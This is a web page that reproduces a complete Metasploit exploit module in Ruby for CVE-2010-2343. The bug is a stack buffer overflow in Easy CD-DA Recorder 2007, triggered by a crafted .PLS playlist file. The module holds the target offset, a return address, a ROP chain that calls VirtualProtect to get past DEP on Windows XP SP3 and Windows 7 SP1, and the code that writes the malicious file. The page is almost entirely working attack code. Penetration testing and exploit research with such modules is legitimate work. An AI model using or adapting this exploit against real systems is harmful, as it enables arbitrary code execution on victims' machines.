扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 |
## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT def initialize(info = {}) super(update_info(info, 'Name' => 'Easy CD-DA Recorder PLS Buffer Overflow', 'Description'=> %q{ This module exploits a stack-based buffer overflow vulnerability in Easy CD-DA Recorder 2007, caused by a long string in a playlist entry. By persuading the victim to open a specially-crafted .PLS file, a remote attacker could execute arbitrary code on the system or cause the application to crash. This module has been tested successfully on Windows XP SP3 and Windows 7 SP1. }, 'License'=> MSF_LICENSE, 'Author' => [ 'chap0',# Vulnerability discovery and original exploit 'Gabor Seljan', # Metasploit module 'juan vazquez'# Improved reliability ], 'References' => [ [ 'BID', '40631' ], [ 'EDB', '13761' ], [ 'OSVDB', '65256' ], [ 'CVE', '2010-2343' ], [ 'URL', 'http://www.corelan.be:8800/advisories.php?id=CORELAN-10-048' ] ], 'DefaultOptions' => { 'ExitFunction' => 'process' }, 'Platform' => 'win', 'Payload'=> { 'DisableNops'=> true, 'BadChars' => "\x0a\x3d", 'Space'=> 2454, 'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff"# ADD ESP,-3500 }, 'Targets'=> [ [ 'Windows XP SP3 / Windows 7 SP1 (DEP Bypass)', # easycdda.exe 3.0.114.0 # audconv.dll 7.0.815.0 { 'Offset' => 1108, 'Ret'=> 0x1001b19b# ADD ESP,0C10 # RETN 0x04 [audconv.dll] } ] ], 'Privileged' => false, 'DisclosureDate' => 'Jun 7 2010', 'DefaultTarget'=> 0)) register_options( [ OptString.new('FILENAME', [ false, 'The file name.', 'msf.pls']) ], self.class) end def nops return make_nops(4).unpack("V").first end def rop_nops(n = 1) # RETN (ROP NOP) [audconv.dll] [0x1003d55d].pack('V') * n end def exploit # ROP chain generated by mona.py - See corelan.be rop_gadgets = [ 0x1007261e,# POP EDX # RETN [audconv.dll] 0x0042a0e0,# &VirtualProtect() [IAT easycdda.exe] 0x1003bd6b,# MOV EAX,DWORD PTR DS:[EDX] # RETN [audconv.dll] 0x10035802,# XCHG EAX,ESI # RETN [audconv.dll] 0x1005d288,# POP EBP # RETN [audconv.dll] 0x004030c8,# &PUSH ESP # RET 0x08 [easycdda.exe] 0x1005cc2d,# POP EBX # RETN [audconv.dll] 0x00000996,# 0x00000996-> EBX 0x1008740c,# POP EDX # RETN [audconv.dll] 0x00000040,# 0x00000040-> EDX 0x1001826d,# POP ECX # RETN [audconv.dll] 0x004364c6,# &Writable location [easycdda.exe] 0x00404aa9,# POP EDI # RETN [easycdda.exe] 0x100378e6,# RETN (ROP NOP) [audconv.dll] 0x0042527d,# POP EAX # RETN [easycdda.exe] nops, 0x00429692 # PUSHAD # INC EBX # ADD CL,CH # RETN [easycdda.exe] ].flatten.pack('V*') sploit =rop_nops(target['Offset'] / 4) sploit << [0x1003d55c].pack("V") # pop edi # ret [audconv.dll] sploit << [target.ret].pack("V") sploit << rop_nops(22) sploit << rop_gadgets sploit << payload.encoded sploit << rand_text_alpha_upper(10000) # Generate exception # Create the file print_status("Creating '#{datastore['FILENAME']}' file ...") file_create(sploit) end end |
体验盒子
